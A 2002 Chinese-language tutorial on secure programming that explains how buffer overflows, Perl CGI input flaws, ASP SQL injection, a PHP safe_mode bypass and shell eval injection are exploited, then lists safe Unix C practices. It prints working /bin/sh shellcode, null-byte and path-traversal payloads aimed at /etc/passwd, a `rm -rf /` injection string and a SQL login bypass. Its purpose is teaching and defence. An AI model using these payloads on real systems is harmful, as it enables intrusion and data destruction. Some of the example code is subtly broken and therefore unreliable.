GB | BIG5
|
| 首頁 > 安全技術 > 程序 > 正文 |
 |
| 安全程序設計 |
| 本文出自:http://sinbad.zhoubin.com/ 作者:zeng (2002-11-25 06:02:00) |
概述
在當前的軟件行業裡,太多的程序有安全問題,代碼在被發布前只是經過很少的測試,即使
一些有專業測試人員的軟件公司也很少進行安全編程方面的測試,原因在缺少對安全編程
技術的了解。本文將嘗試給程序員一個比較清晰的概念,安全漏洞的來源,和避免安全漏洞
的技巧,使寫安全程序的過程變得輕鬆起來。
運用好的編程技巧是非常重要的,甚至你的代碼只是將運行在限制的時期和限制的條件下。
許多程序員的程序常超越其最初的設計范圍,大部分的安全漏洞出現的環境是當初程序員不
知道或沒有想到的。典型的是,程序員假設當前的系統調用永不會失敗,或者程序參數永遠
不可能超過某個長度。因而,程序員能做到最好的事情就是對問題進行假定編程,仔細分析
它們是否正確,和想象可以使其失敗的條件。
Internet發展
?主機數 4300萬 46%
?網民數 1.54億 55%
?2001網民數 4.5億
?美國網民數 8300萬 26%
?2001美國網民數 1.3億
?美國人在線上稅 2500萬 38%
?AOL用戶 1700萬 42%
?WEB服務器 500萬 128%
?YAHOO每天頁面瀏覽 2.35億次 147%
?網上新聞發布 213萬 89%
?在線股市交易 33.6萬 125%
?電子商務營業額 211億美元 154%
導致安全漏洞的二個最根本原因
溢出
什是溢出:
數據存儲過程中超過數據結構所能容納的實際長度都可成為溢出。
產生溢出的理論基礎:
1. 平面內存結構,4GB或更大邏輯地址空間
程序運行時可以被裝載到相對固定的地址空間,使得確定攻擊代碼地址更為方便
2. 數據與代碼同處一個地址空間,堆棧可執行
代碼數據共同存儲這一現代計算機模型使得溢出攻擊真正可行,攻擊者可以精心編制輸入數
據,得到運行權
3. CPU call調用利用棧保存返回地址
Call調用使用堆棧保存返回地址,使得跟改程序返回地址成為可能
4. C函數在棧中保存局部變量
看一下現代幾乎所有的編譯器產生的代碼,就會發現在所有調用子程序的地方都有類似代碼
push ebp
mov ebp, esp
sub esp, ??
編譯器為了支持函數嵌套調用都使用堆棧來保存局部變量
5. C語言無自動邊界檢查功能
C語言不進行數據邊界檢察,當數據被覆蓋時也不能被發現
6. 棧從高地址往低地址生長
數據存放是從低到高存放的,而堆棧卻從高到低生長,當call調用子程序時的返回地址將被
壓入堆棧,這就是說當發生call調用時,程序返回地址將位子程序數據區的高處,使惡意
覆蓋返回地址成為可能,只要精心安排輸入數據就可以使執行類似ret的指令時,跳轉到所需
要的地址
一個溢出的例子
#include <stdio.h>
#include <string.h>
void SayHello(char* str)
{
char buffer[8];
strcpy(tmpName, name);
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv)
{
SayHello(argv[1]);
return 0;
}
運行:
$ ./example sunx
Hello sunx
似乎一切正常,不會有什問題
。。。。再試一下。。。
$./example sunxsunxsunx
Hello sunxsunxsunx?????
Segmentation fault (core dumped)
當程序打印完輸入數據崩潰了,這是為什呢?
這個程序的函數含有一個典型的內存緩沖區編碼錯誤. 該函數沒有進行邊界檢查就復
制提供的字符串, 錯誤地使用了strcpy()而沒有使用strncpy(). 如果你運行這個程序就會產
生段錯誤. 原因是在命令行輸入的數據 “sunxsunxsunx” 長度超過了在SayHello函數中的
局部變量長度, 是覆蓋了在堆棧上方的返回地址,在print之就崩潰了
讓我們看看在調用函數時堆棧的模樣:
分析:
程序的內存布局
棧
堆
數據段
代碼段
0xFFFFFFFF
棧方向
0x00000000
第一次運行進入SayHello的棧
第二次運行進入SayHello的棧
sununxsunx
這裡發生了什事? 答案很簡單: strcpy()將*str的內容(larger_string[])復制到buffer
[]裡, 直到在字符串中碰到一個空字符. 顯然,buffer[]比*str小很多. buffer[]只有16個字
節長, 而我們卻試圖向裡面填入12個字節的內容. 這意味著在buffer結構之, 堆棧中4個字
節被覆蓋. 包括RET地址,我們已經把Buffer指向內存的12個字節全都填成了“sunxsunxsunx
”, 這意味著現在的返回地址是0x786e7573. 當函數返回時, 程序試圖讀取返回地址的下
一個指令, 此時我們就得到一個段錯誤.
因此緩沖區溢出允許我們更改函數的返回地址. 這樣我們就可以改變程序的執行流程.
如果攻擊者精心準備數據
jmp label2
label1: pop esi
mov [esi+8], esi
xor eax, eax
mov [esi+7], al
mov [esi+12], eax
mov al, 0bh
mov ebx, esi
lea ecx, [esi+8]
lea edx, [esi+12]
int 80h
xor ebx, ebx
mov eax, ebx
inc eax
int 80h
label2: call label1
cmd: db “/bin/sh”, 0
上面代碼的機器碼
char shell_code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0”
“\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”
“\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
如果用程序輸入這些數據就可以得到一個命令行shell
溢出漏洞的實際利用方法
Remote root exploit
遠程,不經認証而獲得執行權,
主要針對程序:各種Daemon
HTTP 、FTP 、POP 、Sendmail …
Local root exploit
本地,利用程序的漏洞獲得執行權,主要被用來提升用戶權限
主要針對程序:所有的特權程序
那些程序具有特權:
Daemon
HTTP 、FTP 、POP 、Sendmail …
系統服務
一些系統相關的服務
如:Syslog …
suid/sgid程序
Unix一項特殊技術,使普通用戶也能做部分只有超級用戶才能執行的任務lpasswd、at、cro
ntab、ping
普通rwx之上加上s位,kernel在載入進程映象時自動將進程有效用戶/組標識置為映象文件文
件屬主/組
例:
ls -l /bin/eject
-r-s--x--x 1 root /usr/bin/passwd
OS本身
解決方法
更為小心的程序設計
將安全相關的功能隔離到仔細檢查的代碼內
非可執行棧
會導致若幹技術難題
基編譯器的方法
在代碼內自動增加邊界檢查(very slow)
運行過程中進行棧完整性檢查(slight slowdown)
重新排列棧變量(no slowdown)
輸入過濾
關Perl
Perl作為CGI編程的主要語言之一,其安全性也受到很大的關注。在 W3C組織的 "WWW Secur
ity FAQ" 之 "CGI Scripts"一章中,Perl安全編程就整整佔了一節。由此可見 Perl CGI 安
全編程的重要性。
---------------------
1、NULL字符
---------------------
開發人員已經習慣了C語言的工作模式
如果說 strcmp("root","root\x00")==0,相信沒有什人反對。但是在Perl中 "root"!="r
oot\0"
對每一個希望發現CGI漏洞的安全專家或黑客來說,最常用的方法之一是通過傳遞特殊字符
(串),繞過CGI限制以執行系統級調用或程序。
閱讀以下例子:
# parse $user_input
$database="$user_input.db";
open(FILE "<$database");
這個例子用打開客戶端指定的數據庫文件。例如客戶端輸入"haha",則系統將打開"hah
a.db"文件考只讀方式)。這種處理方式在Web應用中是很常見的。
現在,讓我們在客戶端輸入"haha%00",在該PERL程序中$database="haha\0.db",然
調用open函數打開該文件。但結果是什呢?系統會試圖打開"haha"文件
出現這種情況的原因是由PERL允許在字符串變量中使用NULL空字符,因此,也就有了
"root"!="root\0"
而在C語言中字符串則以NULL字符作為字符串的結束標志,是"root"=="root\0"(在C語言中
)。
由Perl本身是使用C編寫,因此當PERL將"backend\0.db"字符串傳遞到C運行庫時,\0空字
符以的字符將被忽略
這種編程缺陷的影響可大可小。試想一下,如果利用以上編程原理編寫一個給系統其他管理
員修改除了root外的其他用戶口令的PERL程序:
$user=$ARGV[1] # user the jr admin wants to change
if ($user ne "root"){
# do whatever needs to be done for this user }
那,聰明的你應該知道如何繞過這個限制修改root用戶口令了吧?對了,只要使 $user="
root\0",則PERL會執行上面程序中花括號內的語句。除非所有處理過程均使用PERL,否則一
旦該變量傳遞給系統,則會造成安全問題。如修改root用戶口令等。
也許你認為很難遇到這種會造成嚴重安全問題的情況,那我們能否將它作為一種尋找
網站源程序漏洞的間接手段呢?;-)
不知你有沒有經常遇到這種類型的CGI程序,該程序用打開客戶端(提交的表單中)要
求的頁面?如:
page.cgi?page=1
然網站是否返回頁面"1.html"呢?;-) 好,現在將其改為:
page.cgi?page=page.cgi%00 (%00 == '\0' escaped)
這樣,我們就可以得到我們感興趣的文件內容了!這種方法連PERL的"-e"參數也可繞過:
$file="/etc/passwd\0.txt.whatever.we.want";
die("hahaha! Caught you!) if($file eq "/etc/passwd");
if (-e $file){
open (FILE, ">$file");}
繞過這段程序的果你應該想像得到吧?:)
解決方法?最簡單地,過濾NULL空字符。在PERL程序中,
$insecure_data=~s/\0//g;
------------------------
2、反斜槓(\)
------------------------
W3C 的 WWW Security FAQ 中列出了建議過濾的字符:
&;`'\"|*?~<>^()[]{}$\n\r
但在很多時候反斜槓(\)往往被遺忘了。以下是正確的過濾表達式:
s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;
但在很多商業的CGI程序中反斜槓卻沒有被包含進去,這可能是程序員們寫程序時被這些過濾
用的匹配表達式搞迷糊了?
那,沒有過濾反斜槓會造成安全問題嗎?試想一下,如果向你的程序中發送如下一行
內容:
user data `rm -rf /`
大多數情況下,程序員編寫的程序會將以上內容過濾為:
user data \`rm -rf /\`
從而保護了系統。但如果PERL程序中忘記過濾了反斜槓,當客戶端向該程序提交如下內容時
:
user data \`rm -rf / \`
經過匹配表達式為:
user data \\`rm -rf / \\`
怎樣,看出危險了嗎?由兩個反斜槓經系統解釋為一個字符"\",但`字符卻因此沒有
被過濾掉,`rm -rf / \`將被系統執行!不過,由其中還含有一個反斜槓字符,執行時系
統會出錯。你自己想辦法繞過這個限制吧?;-)
利用反斜槓的另一個應用--繞過系統目錄進入限制。請看以下表達式:
s/\.\.//g;
這個匹配表達式的作用非常簡單,就是過濾字符串中的".."。當輸入為:
/usr/tmp/../../etc/passwd
將被過濾為:
/usr/tmp///etc/passwd
這樣,你將無法訪問/etc/passwd文件。
(注:*nix系統允許///,試一下'ls -l/etc////passwd'命令就知道了。)
現在,讓我們的“好伙伴”反斜槓來幫忙。將輸入改為:
/usr/tmp/.\./.\./etc/passwd
則由反斜槓的存在而不符合過濾表達式。當PERL中存在如下程序段時,
$file="/usr/tmp/.\\./.\\./etc/passwd";
$file=s/\.\.//g;
system("ls -l $file");
當運行到執行系統調用時,執行的命令會是"ls -l /usr/tmp/.\./.\./etc/
passwd"。想知道會得到什輸出嗎?自己在機器上試試吧。;-)
然而,以上方法只適用系統調用或``命令中。無法繞過PERL中的'-e'命令和open函數
(非管道)。如下程序:
$file="/usr/tmp/.\\./.\\./etc/passwd";
open(FILE, "<$file") or die("No such file");
執行時將顯示"No such file"並退出。我還沒有找出繞過這個限制的方法。:(
解決方法:只要別忘了過濾反斜槓字符(\),就已足夠了。
--------------------------------
3、字符"|"
--------------------------------
在PERL的open函數中,如果在文件名加上"|",則PERL將會執行這個文件,而不是打開
它。即:
open(FILE, "/bin/ls")
將打開並得到/bin/ls的二進制代碼,但
open(FILE, "/bin/ls|")
將執行/bin/ls命令!
以下過濾表達式
s/(\|)/\\$1/g
可以限制這個方法。PERL會提示"unexpected end of file"。如果你找到繞過這個限制的方
法,請告訴我。:-)
綜合應用
現在讓我們綜合以上幾種編程安全漏洞加以利用。先舉個例子,$FORM是客戶端需要提交
給CGI程序的變量。而在CGI程序中有如下語句:
open(FILE, "$FORM")
那我們可以將"ls|"傳遞給$FORM變量來獲得當前目錄列表。現在讓我們考慮如下程序段:
$filename="/safe/dir/to/read/$FORM"
open(FILE, $filename)
如何再執行"ls"命令呢?只要能使$FORM="../../../../bin/ls|"即可。如果系統對目錄操作
加入了".."過濾,則可利用反斜槓的漏洞繞過它。
在這段程序中,我們還可以在命令中加入參數。如"touch /backend|",將建立/backen
d文件。(但我不會使用這個文件名,因為它是我的名字。:-))
現在,讓我們在程序段中加入更多的安全限制:
$filename="safe/dir/to/read/$FORM"
if(!(-e $filename)) die("I don't think so!")
open(FILE, $filename)
這樣我們還需要繞過"-e"的限制。由我們在$FORM變量中使用了"|"字符,當"-e"運算符檢
查"ls|"文件時,因為不存在此文件而退出程序。如何當"-e"檢查時去掉管道符,而調用ope
n函數時又含有管道符呢?回憶一下在前面談到的NULL字符的利用,我們就知道應該如何做了
。只要使$FORM="ls\0|"(注:在客戶端提交的表單中為"ls%00|")即可。其中的原理復習一
下前面提到的內容就會明白了。
需要說明的是,以上程序段中,我們無法象再上一段程序那樣執行帶參數的命令,這是
因為"-e"運算符的限制所致。舉例如下:
$filename="/bin/ls /etc|"
open(FILE, $filename)
將顯示/etc目錄下文件列表。
$filename="/bin/ls /etc\0|"
if(!(-e $filename)) exit;
open(FILE, $filename)
將導致因不存在文件而退出。
$filename="/bin/ls\0 /etc|"
if(!(-e $filename)) exit;
open(FILE, $filename)
將只顯示當前目錄下文件列表。
關ASP
大部分網站把密碼放到數據庫中,在登陸驗証中用以下sql,(以asp例)
sql="select * from user where username=’"&username&"’and pass=’"& pass &’" ,
此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben’ or ’1’=’1
就可以進入本來你沒有特權的頁面。
再來看看上面那個語句吧:
sql="select * from user where username=’"&username&"’and pass=’"& pass&’"
此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben’ or ’1’=’1 這樣,程序將
會變成這樣:
sql="select*from username where username="&ben’or’1’=1&"and pass="&pass&" or
是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那等式將會成立
.而在語言中,是以1來代表真的(成立).那在這行語句中,原語句的"and"驗証將不再繼續,而
因為"1=1"和"or"令語句返回為真值.。另外我們也可以構造以下的用戶名:
username=’aa’ or username<>’aa’
pass=’aa’ or pass<>’aa’
關PHP
PHP安全舉例: PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植C、J
ava和Perl並結合了
PHP的特色。這個語言可以讓web開發者快速創建動態網頁。
因其執行在web服務器上並允許用戶執行代碼,PHP內置了稱為'safe_mode'的安全特性,
用控制在允許PHP操作的webroot環境中執行命令。
其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd()
函數,此函數用確認在webroot目錄外部不能執行命令。
在某些版本的PHP中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。
--------------------------------------------------------------------------------
測試程序:
警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line=;
endwhile;
pclose($fp);
phpinfo();
?>
輸出結果如下:
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values of phpinfo():
safe_mode 0 1
關UNIX Shell Script
同樣由例子開始:
#!/bin/sh
read name
eval echo Hello $name
運行情況:
$ ./hellod
sunx
Hello sunx
粗看起來似乎不會有什問題,都是事情總有例外
$ ./hellod
sunx;ls;
Hello sunx
Hellod hellod.c
可以看到輸入內容 “sunx;ls” 中的內容竟然被執行了
也許這樣的例子還不夠嚴重, 進一步假設如果類似的程序被放到了網上
$ vi
在/etc/inetd.conf 增加下面一行:
ingreslock stream tcp nowait root /tmp/hellod hellod
正常運行時候的現象:
$ telnet localhost 2000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Sunx
Hello sunx
Connection closed by foreign host.
被入侵者惡意利用的話:
$ telnet localhost 2000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
What's your name?
sunx;id;
Hello sunx
uid=0(root) gid=0(root)
: command not found
Connection closed by foreign host.
這是為什呢?
原因就在 “;” 這個在unix中具有特殊意義的字符,一個健壯的程序應該過濾掉如下這些
特殊字符
'&', ';', '`', ':', '|', '>', '<', '?', ')', '(', '{', '}', '^', '~'
安全編程的原則
UNIX系統為程序員提供了許多子程序,這些子程序可存取各種安全屬性.有
些是信息子程序,返回文件屬性,實際的和有效的UID,GID等信息.有些子程序可
改變文件屬性.UID,GID等有些處理口令文件和小組文件,還有些完成加密和解密.
本節主要討論有關系統子程序,標準C庫子程序的安全,如何寫安全的C程序
並從root的角度介紹程序設計(僅能被root調用的子程序).
常用系統子程序
(1)I/O子程序
*creat():建立一個新文件或重寫一個暫存文件.
需要兩個參數:文件名和存取許可值(8進制方式).如:
creat("/usr/pat/read_write",0666) /* 建立存取許可方式為0666的文件 */
調用此子程序的進程必須要有建立的文件的所在目錄的寫和執行許可,置
給creat()的許可方式變量將被umask()設置的文件建立屏蔽值所修改,新
文件的所有者和小組由有效的UID和GID決定.
返回值為新建文件的文件描述符.
*fstat():見面的stat().
*open():在C程序內部打開文件.
需要兩個參數:文件路徑名和打開方式(I,O,I&O).
如果調用此子程序的進程沒有對要打開的文件的正確存取許可(包括文
件路徑上所有目錄分量的搜索許可),將會引起執行失敗.
如果此子程序被調用去打開不存在的文件,除非設置了O_CREAT標志,調用
將不成功.此時,新文件的存取許可作為第三個參數(可被用戶的umask修
改).
當文件被進程打開再改變該文件或該文件所在目錄的存取許可,不影響
對該文件的I/O操作.
*read():從已由open()打開並用作輸入的文件中讀信息.
它並不關心該文件的存取許可.一旦文件作為輸入打開,即可從該文件中讀
取信息.
*write():輸出信息到已由open()打開並用作輸出的文件中.同read()一樣
它也不關心該文件的存取許可.
(2)進程控制
*exec()族:包括execl(),execv(),execle(),execve(),execlp()和execvp()
可將一可執行模快拷貝到調用進程佔有的存貯空間.正被調用進
程執行的程序將不復存在,新程序取代其位置.
這是UNIX系統中一個程序被執行的唯一方式:用將執行的程序復蓋原有的
程序.
安全注意事項:
. 實際的和有效的UID和GID傳遞給由exec()調入的不具有SUID和SGID許
可的程序.
. 如果由exec()調入的程序有SUID和SGID許可,則有效的UID和GID將設
置給該程序的所有者或小組.
. 文件建立屏蔽值將傳遞給新程序.
. 除設了對exec()關閉標志的文件外,所有打開的文件都傳遞給新程序.
用fcntl()子程序可設置對exec()的關閉標志.
*fork():用來建立新進程.其建立的子進程是與調用fork()的進程(父進程)
完全相同的拷貝(除了進程號外)
安全注意事項:
. 子進程將繼承父進程的實際和有效的UID和GID.
. 子進程繼承文件方式建立屏蔽值.
. 所有打開的文件傳給子進程.
*signal():允許進程處理可能發生的意外事件和中斷.
需要兩個參數:信號編號和信號發生時要調用的子程序.
信號編號定義在signal.h中.
信號發生時要調用的子程序可由用戶編寫,也可用系統給的值,如:SIG_IGN
則信號將被忽略,SIG_DFL則信號將按系統的缺省方式處理.
如許多與安全有關的程序禁止終端發中斷信息(BREAK和DELETE),以免自己
被用戶終端終止運行.
有些信號使UNIX系統的產生進程的核心轉儲(進程接收到信號時所佔內存
的內容,有時含有重要信息),此系統子程序可用禁止核心轉儲.
(3)文件屬性
*access():檢測指定文件的存取能力是否符合指定的存取類型.
需要兩個參數:文件名和要檢測的存取類型(整數).
下面還有喔 (19%) │ 結束 ← │ ↑/↓/PgUp/PgDn 移動 │ ? 輔助說明 │
需要兩個參數:文件名和要檢測的存取類型(整數).
存取類型定義如下:
0: 檢查文件是否存在
1: 檢查是否可執行(搜索)
2: 檢查是否可寫
3: 檢查是否可寫和執行
4: 檢查是否可讀
5: 檢查是否可讀和執行
6: 檢查是否可讀可寫可執行
這些數字的意義和chmod命令中規定許可方式的數字意義相同.
此子程序使用實際的UID和GID檢測文件的存取能力(一般有效的UID和GID
用檢查文件存取能力).
返回值: 0:許可 -1:不許可.
*chmod():將指定文件或目錄的存取許可方式改成新的許可方式.
需要兩個參數:文件名和新的存取許可方式.
*chown():同時改變指定文件的所有者和小組的UID和GID.(與chown命令不
同).
由此子程序同時改變文件的所有者和小組,故必須取消所操作文件的SUID
和SGID許可,以防止用戶建立SUID和SGID程序,然運行chown()去獲得別
人的權限.
*stat():返回文件的狀態(屬性).
需要兩個參數:文件路徑名和一個結構指針,指向狀態信息的存放
的位置.
結構定義如下:
st_mode: 文件類型和存取許可方式
st_ino: I節點號
st_dev: 文件所在設備的ID
st_rdev: 特別文件的ID
st_nlink: 文件鏈接數
st_uid: 文件所有者的UID
st_gid: 文件小組的GID
st_size: 按字節計數的文件大小
st_atime: 最存取時間(讀)
st_mtime: 最修改時間(寫)和最狀態的改變
st_ctime: 最的狀態修改時間
返回值: 0:成功 1:失敗
*umask():將調用進程及其子進程的文件建立屏蔽值設置為指定的存取許可.
需要一個參數: 新的文件建立屏值.
(4)UID和GID的處理
*getuid():返回進程的實際UID.
*getgid():返回進程的實際GID.
以上兩個子程序可用確定是誰在運行進程.
*geteuid():返回進程的有效UID.
*getegid():返回進程的有效GID.
以上兩個子程序可在一個程序不得不確定它是否在運行某用戶而不是運行
它的用戶的SUID程序時很有用,可調用它們來檢查確認本程序的確是以該
用戶的SUID許可在運行.
*setuid():用改變有效的UID.
對一般用戶,此子程序僅對要在有效和實際的UID之間變換的SUID程序才
有用(從原有效UID變換為實際UID),以保護進程不受到安全危害.實際上該
進程不再是SUID方式運行.
*setgid():用改變有效的GID.
標準C庫
(1)標準I/O
*fopen():打開一個文件供讀或寫,安全方面的考慮同open()一樣.
*fread(),getc(),fgetc(),gets(),scanf()和fscanf():從已由fopen()打
開供讀的文件中讀取信息.它們並不關心文件的存取許可.這一點
同read().
*fwrite(),put(),fputc(),puts,fputs(),printf(),fprintf():寫信息到
已由fopen()打開供寫的文件中.它們也不關心文件的存取許可.
同write().
*getpass():從終端上讀至多8個字符長的口令,不回顯用戶輸入的字符.
需要一個參數: 提示信息.
該子程序將提示信息顯示在終端上,禁止字符回顯功能,從/dev/tty讀取口
令,然再恢復字符回顯功能,返回剛敲入的口令的指針.
*popen():將在(5)運行shell中介紹.
(2)/etc/passwd處理
有一組子程序可對/etc/passwd文件進行方便的存取,可對文件讀取到入口
項或寫新的入口項或更新等等.
*getpwuid():從/etc/passwd文件中獲取指定的UID的入口項.
*getpwnam():對指定的登錄名,在/etc/passwd文件檢索入口項.
以上兩個子程序返回一指向passwd結構的指針,該結構定義在
/usr/include/pwd.h中,定義如下:
struct passwd {
char * pw_name; /* 登錄名 */
char * pw_passwd; /* 加密的口令 */
uid_t pw_uid; /* UID */
gid_t pw_gid; /* GID */
char * pw_age; /* 代理信息 */
char * pw_comment; /* 注釋 */
char * pw_gecos;
char * pw_dir; /* 主目錄 */
char * pw_shell; /* 使用的shell */
};
*getpwent(),setpwent(),endpwent():對口令文件作續處理.
首次調用getpwent(),打開/etc/passwd並返回指向文件中第一個入口項的
指針,保持調用之間文件的打開狀態.
再調用getpwent()可順序地返回口令文件中的各入口項.
調用setpwent()把口令文件的指針重新置為文件的開始處.
使用完口令文件調用endpwent()關閉口令文件.
*putpwent():修改或增加/etc/passwd文件中的入口項.
此子程序將入口項寫到一個指定的文件中,一般是一個臨時文件,直接寫口
令文件是很危險的.最好在執行前做文件封鎖,使兩個程序不能同時寫一個
文件.算法如下:
. 建立一個獨立的臨時文件,即/etc/passnnn,nnn是PID號.
. 建立新產生的臨時文件和標準臨時文件/etc/ptmp的鏈,若建鏈失敗,
則為有人正在使用/etc/ptmp,等待直到/etc/ptmp可用為止或退出.
. 將/etc/passwd拷貝到/etc/ptmp,可對此文件做任何修改.
. 將/etc/passwd移到備份文件/etc/opasswd.
. 建立/etc/ptmp和/etc/passwd的鏈.
. 斷開/etc/passnnn與/etc/ptmp的鏈.
注意:臨時文件應建立在/etc目錄,才能保証文件處同一文件系統中,建
鏈才能成功,且臨時文件不會不安全.此外,若新文件已存在,即便建
鏈的是root用戶,也將失敗,從而保証了一旦臨時文件成功地建鏈
沒有人能再插進來幹擾.當然,使用臨時文件的程序應確保清除所有
臨時文件,正確地捕捉信號.
(3)/etc/group的處理
有一組類似前面的子程序處理/etc/group的信息,使用時必須用include
語句將/usr/include/grp.h文件加入到自己的程序中.該文件定義了group
結構,將由getgrnam(),getgrgid(),getgrent()返回group結構指針.
*getgrnam():在/etc/group文件中搜索指定的小組名,然返回指向小組入
口項的指針.
*getgrgid():類似前一子程序,不同的是搜索指定的GID.
*getgrent():返回group文件中的下一個入口項.
*setgrent():將group文件的文件指針恢復到文件的起點.
*endgrent():用完成工作,關閉group文件.
*getuid():返回調用進程的實際UID.
*getpruid():以getuid()返回的實際UID為參數,確定與實際UID相應的登錄
名,或指定一UID為參數.
*getlogin():返回在終端上登錄的用戶的指針.
系統依次檢查STDIN,STDOUT,STDERR是否與終端相聯,與終端相聯的標準輸
入用確定終端名,終端名用查找列/etc/utmp文件中的用戶,該文件
由login維護,由who程序用來確認用戶.
*cuserid():首先調用getlogin(),若getlogin()返回NULL指針,再調用
getpwuid(getuid()).
*以下為命令:
*logname:列出登錄進終端的用戶名.
*who am i:顯示出運行這條命令的用戶的登錄名.
*id:顯示實際的UID和GID(若有效的UID和GID和實際的不同時也顯示有效的
UID和GID)和相應的登錄名.
(4)加密子程序
1977年1月,NBS宣布一個用美國聯邦政府ADP系統的網絡的標準加密法:數
據加密標準即DES用非機密應用方面.DES一次處理64BITS的塊,56位的加
密鍵.
*setkey(),encrypt():提供用戶對DES的存取.
此兩子程序都取64BITS長的字符數組,數組中的每個元素代表一個位,為0
或1.setkey()設置將按DES處理的加密鍵,忽略每第8位構成一個56位的加
密鍵.encrypt()然加密或解密給定的64BITS長的一塊,加密或解密取決
該子程序的第二個變元,0:加密 1:解密.
*crypt():是UNIX系統中的口令加密程序,也被/usr/lib/makekey命令調用.
crypt()子程序與crypt命令無關,它與/usr/lib/makekey一樣取8個字符長
的關鍵詞,2個salt字符.關鍵詞送給setkey(),salt字符用混合encrypt()
中的DES算法,最終調用encrypt()重復25次加密一個相同的字符串.
返回加密的字符串指針.
(5)運行shell
*system():運行/bin/sh執行其參數指定的命令,當指定命令完成時返回.
*popen():類似system(),不同的是命令運行時,其標準輸入或輸出聯到由
popen()返回的文件指針.
二者都調用fork(),exec(),popen()還調用pipe(),完成各自的工作,因而
fork()和exec()的安全方面的考慮開始起作用.
寫安全的C程序
一般有兩方面的安全問題,在寫程序時必須考慮:
(1)確保自己建立的任何臨時文件不含有機密數據,如果有機密數據,設置臨時文件僅對自己可
讀/寫.確保建立臨時文件的目錄僅對自己可寫.
(2)確保自己要運行的任何命令(通過system(),popen(),execlp(),execvp()運行的命令)的確
是自己要運行的命令,而不是其它什命
令,尤其是自己的程序為SUID或SGID許可時要小心.
第一方面比較簡單,在程序開始前調用umask(077).若要使文件對其他人可讀,可再調chmod()
,也可用下述語名建立一個"不可見"的臨時文件.
creat("/tmp/xxx",0);
file=open("/tmp/xxx",O_RDWR);
unlink("/tmp/xxx");
文件/tmp/xxx建立,打開,然斷開鏈,但是分配給該文件的存儲器並未刪除,直到最終指向
該文件的文件通道被關閉時才被刪除.打開該文件的進程和它的任何子進程都可存取這個臨時
文件,而其它進程不能存取該文件,因為它在/tmp中的目錄項已被unlink()刪除.
第二方面比較復雜而微妙,由system(),popen(),execlp(),execvp()執行時,若不給出執行
命令的全路徑,就能"騙"用戶的程序去執行不同的命令.因為系統子程序是根據PATH變量確定
哪種順序搜索哪些目錄,以尋找指定的命
令,這稱為SUID陷井.最安全的辦法是在調用system()前將有效UID改變成實際UID,另一種比較
好的方法是以全路徑名命令作為參數.execl(),execv(), execle(),execve()都要求全路徑名
作為參數.有關SUID陷井的另一方式是在程序中設置PATH,由system()和popen()都啟動she
ll,故可使用shell句法.如:
system("PATH=/bin:/usr/bin cd");
這樣允許用戶運行系統命令而不必知道要執行的命令在哪個目錄中,但這種方法不能用exe
clp(),execvp()中,因為它們不能啟動shell執行調用序列傳遞的命令字符串.
關shell解釋傳遞給system()和popen()的命令行的方式,有兩個其它的問題:
*shell使用IFS shell變量中的字符,將命令行分解成單詞(通常這個shell變量中是空格,tab
,換行),如IFS中是/,字符串/bin/ed被解釋成單詞bin,接下來是單詞ed,從而引起命令行的曲
解.
再強調一次:在通過自己的程序運行另一個程序前,應將有效UID改為實際的UID,等另一個程序
退出,再將有效UID改回原來的有效UID.SUID/SGID程序指導準則
(1)不要寫SUID/SGID程序,大多數時候無此必要.
(2)設置SGID許可,不要設置SUID許可.應獨自建立一個新的小組.
(3)不要用exec()執行任何程序.記住exec()也被system()和popen()調用.
. 若要調用exec()(或system(),popen()),應事先用setgid(getgid())將有效GID置加實際GI
D.
. 若不能用setgid(),則調用system()或popen()時,應設置IFS:
popen("IFS=\t\n;export IFS;/bin/ls","r");
. 使用要執行的命令的全路徑名.
. 若不能使用全路徑名,則應在命令前先設置PATH:popen("IFS=\t\n;export IFS;PATH=/bin
:/usr/bin;/bin/ls","r");
. 不要將用戶規定的參數傳給system()或popen();若無法避免則應檢查變元字符串中是否有
特殊的shell字符.
. 若用戶有個大程序,調用exec()執行許多其它程序,這種情況下不要將大程序設置為SGID許
可.可以寫一個(或多個)更小,更簡單的SGID程序執行必須具有SGID許可的任務,然由大程序
執行這些小SGID程序.
(4)若用戶必須使用SUID而不是SGID,以相同的順序記住(2),(3)項內容,並相應調整.不要設置
root的SUID許可.選一個其它戶頭.
(5)若用戶想給予其他人執行自己的shell程序的許可,但又不想讓他們能讀該程序,可將程序
設置為僅執行許可,並只能通過自己的shell程序來運行.
編譯,安裝SUID/SGID程序時應按下面的方法
(1)確保所有的SUID(SGID)程序是對小組和其他用戶都是不可寫的,存取權限的限制低47
55(2755)將帶來麻煩.只能更嚴格.4111(2111)將使其他人無法尋找程序中的安全漏洞.
(2)警惕外來的編碼和make/install方法. 某些make/install方法不加選擇地建立SUID/SGID
程序.
. 檢查違背上述指導原則的SUID/SGID許可的編碼.
. 檢查makefile文件中可能建立SUID/SGID文件的命令.
root程序的設計
有若幹個子程序可以從有效UID為0的進程中調用.許多前面提到的子程序,
當從root進程中調用時,將完成和原來不同的處理.主要是忽略了許可權限的檢查.
由root用戶運行的程序當然是root進程(SUID除外),因有效UID用確定文件的存取權限,所以
從具有root的程序中,調用fork()產生的進程,也是root進程.
(1)setuid():從root進程調用setuid()時,其處理有所不同,setuid()將把有效的和實際的UI
D都置為指定的值.這個值可以是任何整型數.而對非root進程則僅能以實際UID或本進程原來
有效的UID為變量值調用setuid().
